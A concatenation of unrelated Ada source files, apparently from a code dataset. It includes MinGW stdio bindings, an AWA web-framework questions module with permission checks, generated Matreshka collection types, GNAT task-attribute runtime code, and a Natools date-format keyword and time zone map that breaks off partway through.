c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:705 pragma Import (C, swprintf, "swprintf"); function vswprintf (arg1 : access wchar_t; arg2 : access wchar_t; arg3 : vadefs_h.va_list) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:706 pragma Import (C, vswprintf, "vswprintf"); -- skipped func _wfsopen function fgetwc (u_File : access FILE) return umingw_h.wint_t; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:719 pragma Import (C, fgetwc, "fgetwc"); -- skipped func _fgetwchar function fputwc (u_Ch : wchar_t; u_File : access FILE) return umingw_h.wint_t; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:721 pragma Import (C, fputwc, "fputwc"); -- skipped func _fputwchar function getwc (u_File : access FILE) return umingw_h.wint_t; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:723 pragma Import (C, getwc, "getwc"); function getwchar return umingw_h.wint_t; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:724 pragma Import (C, getwchar, "getwchar"); function putwc (u_Ch : wchar_t; u_File : access FILE) return umingw_h.wint_t; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:725 pragma Import (C, putwc, "putwc"); function putwchar (u_Ch : wchar_t) return umingw_h.wint_t; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:726 pragma Import (C, putwchar, "putwchar"); function ungetwc (u_Ch : umingw_h.wint_t; u_File : access FILE) return umingw_h.wint_t; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:727 pragma Import (C, ungetwc, "ungetwc"); function fgetws (u_Dst : access wchar_t; u_SizeInWords : int; u_File : access FILE) return access wchar_t; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:728 pragma Import (C, fgetws, "fgetws"); function fputws (u_Str : access wchar_t; u_File : access FILE) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:729 pragma Import (C, fputws, "fputws"); -- skipped func _getws -- skipped func _putws -- skipped func _scwprintf -- skipped func _swprintf_l -- skipped func _swprintf_c -- skipped func _vswprintf_c -- skipped func _snwprintf -- skipped func _vsnwprintf function snwprintf (s : access wchar_t; n : umingw_h.size_t; format : access wchar_t -- , ... ) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:747 pragma Import (C, snwprintf, "snwprintf"); function vsnwprintf (arg1 : access wchar_t; arg2 : umingw_h.size_t; arg3 : access wchar_t; arg4 : vadefs_h.va_list) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:748 pragma Import (C, vsnwprintf, "vsnwprintf"); -- skipped func _fwprintf_p -- skipped func _wprintf_p -- skipped func _vfwprintf_p -- skipped func _vwprintf_p -- skipped func _swprintf_p -- skipped func _vswprintf_p -- skipped func _scwprintf_p -- skipped func _vscwprintf_p -- skipped func _wprintf_l -- skipped func _wprintf_p_l -- skipped func _vwprintf_l -- skipped func _vwprintf_p_l -- skipped func _fwprintf_l -- skipped func _fwprintf_p_l -- skipped func _vfwprintf_l -- skipped func _vfwprintf_p_l -- skipped func _swprintf_c_l -- skipped func _swprintf_p_l -- skipped func _vswprintf_c_l -- skipped func _vswprintf_p_l -- skipped func _scwprintf_l -- skipped func _scwprintf_p_l -- skipped func _vscwprintf_p_l -- skipped func _snwprintf_l -- skipped func _vsnwprintf_l -- skipped func _swprintf -- skipped func _vswprintf -- skipped func _vswprintf_l -- skipped func _wtempnam -- skipped func _vscwprintf -- skipped func _vscwprintf_l -- skipped func _fwscanf_l -- skipped func _swscanf_l -- skipped func _snwscanf -- skipped func _snwscanf_l -- skipped func _wscanf_l -- skipped func _wfdopen -- skipped func _wfopen -- skipped func _wfreopen -- skipped func _wperror -- skipped func _wpopen -- skipped func _wremove -- skipped func _wtmpnam -- skipped func _fgetwc_nolock -- skipped func _fputwc_nolock -- skipped func _ungetwc_nolock -- skipped func _lock_file -- skipped func _unlock_file -- skipped func _fclose_nolock -- skipped func _fflush_nolock -- skipped func _fread_nolock -- skipped func _fseek_nolock -- skipped func _ftell_nolock -- skipped func _fseeki64_nolock -- skipped func _ftelli64_nolock -- skipped func _fwrite_nolock -- skipped func _ungetc_nolock function tempnam (u_Directory : Interfaces.C.Strings.chars_ptr; u_FilePrefix : Interfaces.C.Strings.chars_ptr) return Interfaces.C.Strings.chars_ptr; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:871 pragma Import (C, tempnam, "tempnam"); function fcloseall return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:872 pragma Import (C, fcloseall, "fcloseall"); function fdopen (u_FileHandle : int; u_Format : Interfaces.C.Strings.chars_ptr) return access FILE; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:873 pragma Import (C, fdopen, "fdopen"); function fgetchar return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:874 pragma Import (C, fgetchar, "fgetchar"); function fileno (u_File : access FILE) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:875 pragma Import (C, fileno, "fileno"); function flushall return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:876 pragma Import (C, flushall, "flushall"); function fputchar (u_Ch : int) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:877 pragma Import (C, fputchar, "fputchar"); function getw (u_File : access FILE) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:878 pragma Import (C, getw, "getw"); function putw (u_Ch : int; u_File : access FILE) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:879 pragma Import (C, putw, "putw"); function rmtmp return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:880 pragma Import (C, rmtmp, "rmtmp"); end stdio_h;
twdroeger/ada-awa
Ada
10,172
adb
----------------------------------------------------------------------- -- awa-questions-modules -- Module questions -- Copyright (C) 2012, 2013, 2015, 2016, 2018 Stephane Carrez -- Written by Stephane Carrez ([email protected]) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Ada.Calendar; with Ada.Characters.Conversions; with AWA.Permissions; with AWA.Services.Contexts; with AWA.Users.Models; with AWA.Workspaces.Models; with AWA.Workspaces.Modules; with Wiki; with Wiki.Utils; with ADO.Sessions; with ADO.Statements; with Util.Log.Loggers; with AWA.Modules.Beans; with AWA.Modules.Get; with AWA.Questions.Beans; with AWA.Applications; package body AWA.Questions.Modules is Log : constant Util.Log.Loggers.Logger := Util.Log.Loggers.Create ("AWA.Questions.Module"); package Register is new AWA.Modules.Beans (Module => Question_Module, Module_Access => Question_Module_Access); -- ------------------------------ -- Initialize the questions module. -- ------------------------------ overriding procedure Initialize (Plugin : in out Question_Module; App : in AWA.Modules.Application_Access; Props : in ASF.Applications.Config) is begin Log.Info ("Initializing the questions module"); -- Setup the resource bundles. App.Register ("questionMsg", "questions"); -- Edit and save a question. Register.Register (Plugin => Plugin, Name => "AWA.Questions.Beans.Question_Bean", Handler => AWA.Questions.Beans.Create_Question_Bean'Access); -- Edit and save an answer. Register.Register (Plugin => Plugin, Name => "AWA.Questions.Beans.Answer_Bean", Handler => AWA.Questions.Beans.Create_Answer_Bean'Access); -- List of questions. Register.Register (Plugin => Plugin, Name => "AWA.Questions.Beans.Question_List_Bean", Handler => AWA.Questions.Beans.Create_Question_List_Bean'Access); -- Display a question with its answers. Register.Register (Plugin => Plugin, Name => "AWA.Questions.Beans.Question_Display_Bean", Handler => AWA.Questions.Beans.Create_Question_Display_Bean'Access); AWA.Modules.Module (Plugin).Initialize (App, Props); end Initialize; -- ------------------------------ -- Get the questions module. -- ------------------------------ function Get_Question_Module return Question_Module_Access is function Get is new AWA.Modules.Get (Question_Module, Question_Module_Access, NAME); begin return Get; end Get_Question_Module; -- ------------------------------ -- Create or save the question. -- ------------------------------ procedure Save_Question (Model : in Question_Module; Question : in out AWA.Questions.Models.Question_Ref'Class) is pragma Unreferenced (Model); function To_Wide (Item : in String) return Wide_Wide_String renames Ada.Characters.Conversions.To_Wide_Wide_String; Ctx : constant Services.Contexts.Service_Context_Access := AWA.Services.Contexts.Current; User : constant AWA.Users.Models.User_Ref := Ctx.Get_User; DB : ADO.Sessions.Master_Session := AWA.Services.Contexts.Get_Master_Session (Ctx); WS : AWA.Workspaces.Models.Workspace_Ref; begin Ctx.Start; if Question.Is_Inserted then Log.Info ("Updating question {0}", ADO.Identifier'Image (Question.Get_Id)); WS := AWA.Workspaces.Models.Workspace_Ref (Question.Get_Workspace); else Log.Info ("Creating new question {0}", String '(Question.Get_Title)); AWA.Workspaces.Modules.Get_Workspace (DB, Ctx, WS); -- Check that the user has the create permission on the given workspace. AWA.Permissions.Check (Permission => ACL_Create_Questions.Permission, Entity => WS); Question.Set_Workspace (WS); Question.Set_Author (User); end if; declare Text : constant String := Wiki.Utils.To_Text (To_Wide (Question.Get_Description), Wiki.SYNTAX_MIX); Last : Natural; begin if Text'Length < SHORT_DESCRIPTION_LENGTH then Last := Text'Last; else Last := SHORT_DESCRIPTION_LENGTH; end if; Question.Set_Short_Description (Text (Text'First .. Last) & "..."); end; if not Question.Is_Inserted then Question.Set_Create_Date (Ada.Calendar.Clock); else Question.Set_Edit_Date (ADO.Nullable_Time '(Is_Null => False, Value => Ada.Calendar.Clock)); end if; Question.Save (DB); Ctx.Commit; end Save_Question; -- ------------------------------ -- Delete the question. -- ------------------------------ procedure Delete_Question (Model : in Question_Module; Question : in out AWA.Questions.Models.Question_Ref'Class) is pragma Unreferenced (Model); Ctx : constant Services.Contexts.Service_Context_Access := AWA.Services.Contexts.Current; DB : ADO.Sessions.Master_Session := AWA.Services.Contexts.Get_Master_Session (Ctx); begin Ctx.Start; -- Check that the user has the delete permission on the given question. AWA.Permissions.Check (Permission => ACL_Delete_Questions.Permission, Entity => Question); -- Before deleting the question, delete the associated answers. declare Stmt : ADO.Statements.Delete_Statement := DB.Create_Statement (AWA.Questions.Models.ANSWER_TABLE); begin Stmt.Set_Filter (Filter => "question_id = ?"); Stmt.Add_Param (Value => Question); Stmt.Execute; end; Question.Delete (DB); Ctx.Commit; end Delete_Question; -- ------------------------------ -- Load the question. -- ------------------------------ procedure Load_Question (Model : in Question_Module; Question : in out AWA.Questions.Models.Question_Ref'Class; Id : in ADO.Identifier; Found : out Boolean) is DB : ADO.Sessions.Session := Model.Get_Session; begin Question.Load (DB, Id, Found); end Load_Question; -- ------------------------------ -- Create or save the answer. -- ------------------------------ procedure Save_Answer (Model : in Question_Module; Question : in AWA.Questions.Models.Question_Ref'Class; Answer : in out AWA.Questions.Models.Answer_Ref'Class) is pragma Unreferenced (Model); Ctx : constant Services.Contexts.Service_Context_Access := AWA.Services.Contexts.Current; User : constant AWA.Users.Models.User_Ref := Ctx.Get_User; DB : ADO.Sessions.Master_Session := AWA.Services.Contexts.Get_Master_Session (Ctx); begin Ctx.Start; if Answer.Is_Inserted then Log.Info ("Updating question {0}", ADO.Identifier'Image (Answer.Get_Id)); else Log.Info ("Creating new answer for {0}", ADO.Identifier'Image (Question.Get_Id)); -- Check that the user has the create permission on the given workspace. AWA.Permissions.Check (Permission => ACL_Answer_Questions.Permission, Entity => Question); Answer.Set_Author (User); end if; if not Answer.Is_Inserted then Answer.Set_Create_Date (Ada.Calendar.Clock); Answer.Set_Question (Question); else Answer.Set_Edit_Date (ADO.Nullable_Time '(Value => Ada.Calendar.Clock, Is_Null => False)); end if; Answer.Save (DB); Ctx.Commit; end Save_Answer; -- ------------------------------ -- Delete the answer. -- ------------------------------ procedure Delete_Answer (Model : in Question_Module; Answer : in out AWA.Questions.Models.Answer_Ref'Class) is pragma Unreferenced (Model); Ctx : constant Services.Contexts.Service_Context_Access := AWA.Services.Contexts.Current; DB : ADO.Sessions.Master_Session := AWA.Services.Contexts.Get_Master_Session (Ctx); begin Ctx.Start; -- Check that the user has the delete permission on the given answer. AWA.Permissions.Check (Permission => ACL_Delete_Answer.Permission, Entity => Answer); Answer.Delete (DB); Ctx.Commit; end Delete_Answer; -- ------------------------------ -- Load the answer. -- ------------------------------ procedure Load_Answer (Model : in Question_Module; Answer : in out AWA.Questions.Models.Answer_Ref'Class; Question : in out AWA.Questions.Models.Question_Ref'Class; Id : in ADO.Identifier; Found : out Boolean) is DB : ADO.Sessions.Session := Model.Get_Session; begin Answer.Load (DB, Id, Found); Question := Answer.Get_Question; end Load_Answer; end AWA.Questions.Modules;
reznikmm/matreshka
Ada
4,998
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2011-2012, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ -- This file is generated, don't edit it. ------------------------------------------------------------------------------ with AMF.Generic_Collections; package AMF.CMOF.Classifiers.Collections is pragma Preelaborate; package CMOF_Classifier_Collections is new AMF.Generic_Collections (CMOF_Classifier, CMOF_Classifier_Access); type Set_Of_CMOF_Classifier is new CMOF_Classifier_Collections.Set with null record; Empty_Set_Of_CMOF_Classifier : constant Set_Of_CMOF_Classifier; type Ordered_Set_Of_CMOF_Classifier is new CMOF_Classifier_Collections.Ordered_Set with null record; Empty_Ordered_Set_Of_CMOF_Classifier : constant Ordered_Set_Of_CMOF_Classifier; type Bag_Of_CMOF_Classifier is new CMOF_Classifier_Collections.Bag with null record; Empty_Bag_Of_CMOF_Classifier : constant Bag_Of_CMOF_Classifier; type Sequence_Of_CMOF_Classifier is new CMOF_Classifier_Collections.Sequence with null record; Empty_Sequence_Of_CMOF_Classifier : constant Sequence_Of_CMOF_Classifier; private Empty_Set_Of_CMOF_Classifier : constant Set_Of_CMOF_Classifier := (CMOF_Classifier_Collections.Set with null record); Empty_Ordered_Set_Of_CMOF_Classifier : constant Ordered_Set_Of_CMOF_Classifier := (CMOF_Classifier_Collections.Ordered_Set with null record); Empty_Bag_Of_CMOF_Classifier : constant Bag_Of_CMOF_Classifier := (CMOF_Classifier_Collections.Bag with null record); Empty_Sequence_Of_CMOF_Classifier : constant Sequence_Of_CMOF_Classifier := (CMOF_Classifier_Collections.Sequence with null record); end AMF.CMOF.Classifiers.Collections;
zhmu/ananas
Ada
4,501
adb
------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS -- -- -- -- S Y S T E M . T A S K I N G . T A S K _ A T T R I B U T E S -- -- -- -- B o d y -- -- -- -- Copyright (C) 2014-2022, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- As a special exception under Section 7 of GPL version 3, you are granted -- -- additional permissions described in the GCC Runtime Library Exception, -- -- version 3.1, as published by the Free Software Foundation. -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNARL was developed by the GNARL team at Florida State University. -- -- Extensive contributions were provided by Ada Core Technologies, Inc. -- -- -- ------------------------------------------------------------------------------ with System.Parameters; use System.Parameters; with System.Tasking.Initialization; use System.Tasking.Initialization; with System.Task_Primitives.Operations; package body System.Tasking.Task_Attributes is package STPO renames System.Task_Primitives.Operations; type Index_Info is record Used : Boolean; -- Used is True if a given index is used by an instantiation of -- Ada.Task_Attributes, False otherwise. Require_Finalization : Boolean; -- Require_Finalization is True if the attribute requires finalization end record; Index_Array : array (1 .. Max_Attribute_Count) of Index_Info := [others => (False, False)]; -- Note that this package will use an efficient implementation with no -- locks and no extra dynamic memory allocation if Attribute can fit in a -- System.Address type and Initial_Value is 0 (or null for an access type). function Next_Index (Require_Finalization : Boolean) return Integer is Self_Id : constant Task_Id := STPO.Self; begin Task_Lock (Self_Id); for J in Index_Array'Range loop if not Index_Array (J).Used then Index_Array (J).Used := True; Index_Array (J).Require_Finalization := Require_Finalization; Task_Unlock (Self_Id); return J; end if; end loop; Task_Unlock (Self_Id); raise Storage_Error with "Out of task attributes"; end Next_Index; -------------- -- Finalize -- -------------- procedure Finalize (Index : Integer) is Self_Id : constant Task_Id := STPO.Self; begin pragma Assert (Index in Index_Array'Range); Task_Lock (Self_Id); Index_Array (Index).Used := False; Task_Unlock (Self_Id); end Finalize; -------------------------- -- Require_Finalization -- -------------------------- function Require_Finalization (Index : Integer) return Boolean is begin pragma Assert (Index in Index_Array'Range); return Index_Array (Index).Require_Finalization; end Require_Finalization; end System.Tasking.Task_Attributes;
faelys/natools
Ada
21,239
ads
-- Generated at 2015-06-24 18:19:13 +0000 by Natools.Static_Hash_Maps -- from src/natools-s_expressions-templates-dates-maps.sx package Natools.Static_Maps.S_Expressions.Templates.Dates is pragma Pure; type Main_Command is (Error, Year, Month, Day, Hour, Minute, Second, Padded_Month, Padded_Day, Padded_Hour, Padded_Minute, Padded_Second, Day_Of_Week, Big_Endian_Date, Little_Endian_Date, Big_Endian_Time, Little_Endian_Time, RFC_3339, With_Offset); function Main (Key : String) return Main_Command; function To_Time_Offset (Key : String) return Integer; private Map_1_Key_0 : aliased constant String := "YYYYMMDD"; Map_1_Key_1 : aliased constant String := "big-endian-date"; Map_1_Key_2 : aliased constant String := "HHMMSS"; Map_1_Key_3 : aliased constant String := "time"; Map_1_Key_4 : aliased constant String := "big-endian-time"; Map_1_Key_5 : aliased constant String := "day"; Map_1_Key_6 : aliased constant String := "dow"; Map_1_Key_7 : aliased constant String := "day-of-week"; Map_1_Key_8 : aliased constant String := "hour"; Map_1_Key_9 : aliased constant String := "DDMMYYYY"; Map_1_Key_10 : aliased constant String := "little-endian-date"; Map_1_Key_11 : aliased constant String := "SSMMHH"; Map_1_Key_12 : aliased constant String := "little-endian-time"; Map_1_Key_13 : aliased constant String := "minute"; Map_1_Key_14 : aliased constant String := "month"; Map_1_Key_15 : aliased constant String := "0day"; Map_1_Key_16 : aliased constant String := "padded-day"; Map_1_Key_17 : aliased constant String := "0hour"; Map_1_Key_18 : aliased constant String := "padded-hour"; Map_1_Key_19 : aliased constant String := "0minute"; Map_1_Key_20 : aliased constant String := "padded-minute"; Map_1_Key_21 : aliased constant String := "0month"; Map_1_Key_22 : aliased constant String := "padded-month"; Map_1_Key_23 : aliased constant String := "0second"; Map_1_Key_24 : aliased constant String := "padded-second"; Map_1_Key_25 : aliased constant String := "rfc-3339"; Map_1_Key_26 : aliased constant String := "second"; Map_1_Key_27 : aliased constant String := "with-offset"; Map_1_Key_28 : aliased constant String := "in-zone"; Map_1_Key_29 : aliased constant String := "year"; Map_1_Keys : constant array (0 .. 29) of access constant String := (Map_1_Key_0'Access, Map_1_Key_1'Access, Map_1_Key_2'Access, Map_1_Key_3'Access, Map_1_Key_4'Access, Map_1_Key_5'Access, Map_1_Key_6'Access, Map_1_Key_7'Access, Map_1_Key_8'Access, Map_1_Key_9'Access, Map_1_Key_10'Access, Map_1_Key_11'Access, Map_1_Key_12'Access, Map_1_Key_13'Access, Map_1_Key_14'Access, Map_1_Key_15'Access, Map_1_Key_16'Access, Map_1_Key_17'Access, Map_1_Key_18'Access, Map_1_Key_19'Access, Map_1_Key_20'Access, Map_1_Key_21'Access, Map_1_Key_22'Access, Map_1_Key_23'Access, Map_1_Key_24'Access, Map_1_Key_25'Access, Map_1_Key_26'Access, Map_1_Key_27'Access, Map_1_Key_28'Access, Map_1_Key_29'Access); Map_1_Elements : constant array (0 .. 29) of Main_Command := (Big_Endian_Date, Big_Endian_Date, Big_Endian_Time, Big_Endian_Time, Big_Endian_Time, Day, Day_Of_Week, Day_Of_Week, Hour, Little_Endian_Date, Little_Endian_Date, Little_Endian_Time, Little_Endian_Time, Minute, Month, Padded_Day, Padded_Day, Padded_Hour, Padded_Hour, Padded_Minute, Padded_Minute, Padded_Month, Padded_Month, Padded_Second, Padded_Second, RFC_3339, Second, With_Offset, With_Offset, Year); Map_2_Key_0 : aliased constant String := "ACDT"; Map_2_Key_1 : aliased constant String := "ACST"; Map_2_Key_2 : aliased constant String := "ADT"; Map_2_Key_3 : aliased constant String := "AEDT"; Map_2_Key_4 : aliased constant String := "AEST"; Map_2_Key_5 : aliased constant String := "AFT"; Map_2_Key_6 : aliased constant String := "AKDT"; Map_2_Key_7 : aliased constant String := "AKST"; Map_2_Key_8 : aliased constant String := "ART"; Map_2_Key_9 : aliased constant String := "AWDT"; Map_2_Key_10 : aliased constant String := "AWST"; Map_2_Key_11 : aliased constant String := "AZOST"; Map_2_Key_12 : aliased constant String := "AZT"; Map_2_Key_13 : aliased constant String := "BDT"; Map_2_Key_14 : aliased constant String := "BIOT"; Map_2_Key_15 : aliased constant String := "BIT"; Map_2_Key_16 : aliased constant String := "BOT"; Map_2_Key_17 : aliased constant String := "BRST"; Map_2_Key_18 : aliased constant String := "BRT"; Map_2_Key_19 : aliased constant String := "BTT"; Map_2_Key_20 : aliased constant String := "CAT"; Map_2_Key_21 : aliased constant String := "CCT"; Map_2_Key_22 : aliased constant String := "CEDT"; Map_2_Key_23 : aliased constant String := "CEST"; Map_2_Key_24 : aliased constant String := "CET"; Map_2_Key_25 : aliased constant String := "CHADT"; Map_2_Key_26 : aliased constant String := "CHAST"; Map_2_Key_27 : aliased constant String := "CHOT"; Map_2_Key_28 : aliased constant String := "ChST"; Map_2_Key_29 : aliased constant String := "CHUT"; Map_2_Key_30 : aliased constant String := "CIST"; Map_2_Key_31 : aliased constant String := "CIT"; Map_2_Key_32 : aliased constant String := "CKT"; Map_2_Key_33 : aliased constant String := "CLST"; Map_2_Key_34 : aliased constant String := "CLT"; Map_2_Key_35 : aliased constant String := "COST"; Map_2_Key_36 : aliased constant String := "COT"; Map_2_Key_37 : aliased constant String := "CT"; Map_2_Key_38 : aliased constant String := "CVT"; Map_2_Key_39 : aliased constant String := "CWST"; Map_2_Key_40 : aliased constant String := "CXT"; Map_2_Key_41 : aliased constant String := "DAVT"; Map_2_Key_42 : aliased constant String := "DDUT"; Map_2_Key_43 : aliased constant String := "DFT"; Map_2_Key_44 : aliased constant String := "EASST"; Map_2_Key_45 : aliased constant String := "EAST"; Map_2_Key_46 : aliased constant String := "EAT"; Map_2_Key_47 : aliased constant String := "EDT"; Map_2_Key_48 : aliased constant String := "EEDT"; Map_2_Key_49 : aliased constant String := "EEST"; Map_2_Key_50 : aliased constant String := "EET"; Map_2_Key_51 : aliased constant String := "EGST"; Map_2_Key_52 : aliased constant String := "EGT"; Map_2_Key_53 : aliased constant String := "EIT"; Map_2_Key_54 : aliased constant String := "FET"; Map_2_Key_55 : aliased constant String := "FJT"; Map_2_Key_56 : aliased constant String := "FKST"; Map_2_Key_57 : aliased constant String := "FKT"; Map_2_Key_58 : aliased constant String := "FNT"; Map_2_Key_59 : aliased constant String := "GALT"; Map_2_Key_60 : aliased constant String := "GAMT"; Map_2_Key_61 : aliased constant String := "GET"; Map_2_Key_62 : aliased constant String := "GFT"; Map_2_Key_63 : aliased constant String := "GILT"; Map_2_Key_64 : aliased constant String := "GIT"; Map_2_Key_65 : aliased constant String := "GMT"; Map_2_Key_66 : aliased constant String := "GYT"; Map_2_Key_67 : aliased constant String := "HADT"; Map_2_Key_68 : aliased constant String := "HAEC"; Map_2_Key_69 : aliased constant String := "HAST"; Map_2_Key_70 : aliased constant String := "HKT"; Map_2_Key_71 : aliased constant String := "HMT"; Map_2_Key_72 : aliased constant String := "HOVT"; Map_2_Key_73 : aliased constant String := "HST"; Map_2_Key_74 : aliased constant String := "ICT"; Map_2_Key_75 : aliased constant String := "IDT"; Map_2_Key_76 : aliased constant String := "IOT"; Map_2_Key_77 : aliased constant String := "IRDT"; Map_2_Key_78 : aliased constant String := "IRKT"; Map_2_Key_79 : aliased constant String := "IRST"; Map_2_Key_80 : aliased constant String := "JST"; Map_2_Key_81 : aliased constant String := "KGT"; Map_2_Key_82 : aliased constant String := "KOST"; Map_2_Key_83 : aliased constant String := "KRAT"; Map_2_Key_84 : aliased constant String := "KST"; Map_2_Key_85 : aliased constant String := "LINT"; Map_2_Key_86 : aliased constant String := "MAGT"; Map_2_Key_87 : aliased constant String := "MART"; Map_2_Key_88 : aliased constant String := "MAWT"; Map_2_Key_89 : aliased constant String := "MDT"; Map_2_Key_90 : aliased constant String := "MET"; Map_2_Key_91 : aliased constant String := "MEST"; Map_2_Key_92 : aliased constant String := "MHT"; Map_2_Key_93 : aliased constant String := "MIST"; Map_2_Key_94 : aliased constant String := "MIT"; Map_2_Key_95 : aliased constant String := "MMT"; Map_2_Key_96 : aliased constant String := "MSK"; Map_2_Key_97 : aliased constant String := "MUT"; Map_2_Key_98 : aliased constant String := "MVT"; Map_2_Key_99 : aliased constant String := "MYT"; Map_2_Key_100 : aliased constant String := "NCT"; Map_2_Key_101 : aliased constant String := "NDT"; Map_2_Key_102 : aliased constant String := "NFT"; Map_2_Key_103 : aliased constant String := "NPT"; Map_2_Key_104 : aliased constant String := "NST"; Map_2_Key_105 : aliased constant String := "NT"; Map_2_Key_106 : aliased constant String := "NUT"; Map_2_Key_107 : aliased constant String := "NZDT"; Map_2_Key_108 : aliased constant String := "NZST"; Map_2_Key_109 : aliased constant String := "OMST"; Map_2_Key_110 : aliased constant String := "ORAT"; Map_2_Key_111 : aliased constant String := "PDT"; Map_2_Key_112 : aliased constant String := "PET"; Map_2_Key_113 : aliased constant String := "PETT"; Map_2_Key_114 : aliased constant String := "PGT"; Map_2_Key_115 : aliased constant String := "PHOT"; Map_2_Key_116 : aliased constant String := "PKT"; Map_2_Key_117 : aliased constant String := "PMDT"; Map_2_Key_118 : aliased constant String := "PMST"; Map_2_Key_119 : aliased constant String := "PONT"; Map_2_Key_120 : aliased constant String := "PYST"; Map_2_Key_121 : aliased constant String := "PYT"; Map_2_Key_122 : aliased constant String := "RET"; Map_2_Key_123 : aliased constant String := "ROTT"; Map_2_Key_124 : aliased constant String := "SAKT"; Map_2_Key_125 : aliased constant String := "SAMT"; Map_2_Key_126 : aliased constant String := "SAST"; Map_2_Key_127 : aliased constant String := "SBT"; Map_2_Key_128 : aliased constant String := "SCT"; 